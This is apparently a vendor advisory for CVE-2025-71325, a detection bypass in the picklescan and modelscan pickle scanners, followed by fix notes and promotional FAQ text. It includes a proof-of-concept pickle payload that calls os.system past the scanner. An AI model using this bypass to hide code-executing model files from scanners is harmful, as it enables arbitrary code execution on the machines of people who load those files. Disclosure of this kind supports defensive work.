CVE-2025-71325

Details

There's a parsing logic error in picklescan and modelscan while trying to deal with opcode STACK_GLOBAL.
Function _list_globals when handling STACK_GLOBAL at position n, it is expected to track two arguments but in wrong range. The loop only consider the range from 1 to n-1 but forgets to consider the opcode at position 0. The correct range should be 0 to n-1. Attacker can put arg in position 0, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.

Example:

    0: S    STRING     'os' --> arg 0: STRING (untracked argument due to wrong scanning range)
    6: S    STRING     'system' --> arg 1: STRING (tracked argument)
   16: \x93 STACK_GLOBAL
   17: S    STRING     'ls'
   23: \x85 TUPLE1
   24: R    REDUCE
   25: .    STOP

PoC

import pickle
payload = b"S'os'\nS'system'\n\x93S'ls'\n\x85R."
with open('bad_pickle.pkl', 'wb') as f:
    f.write(payload)
pickle.load(open('bad_pickle.pkl', 'rb'))

Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection.

Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect. Typical impact: arbitrary code execution or logic abuse.

Kodem intelligence

To fix the range here, change range(1, n) to range(1, n+1) to ensure that n-offset stays within the range of 0 to n.
https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255

1. What is CVE-2025-71325? CVE-2025-71325 is a high-severity insecure deserialization vulnerability in picklescan (pip), affecting versions < 0.0.27. It is fixed in 0.0.27. Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect.
2. Which versions of picklescan are affected by CVE-2025-71325? picklescan (pip) versions < 0.0.27 is affected.
3. Is there a fix for CVE-2025-71325? Yes. CVE-2025-71325 is fixed in 0.0.27. Upgrade to this version or later.
4. Is CVE-2025-71325 exploitable, and should I be worried? Whether CVE-2025-71325 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2025-71325 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2025-71325? Upgrade picklescan to 0.0.27 or later.

Other vulnerabilities in picklescan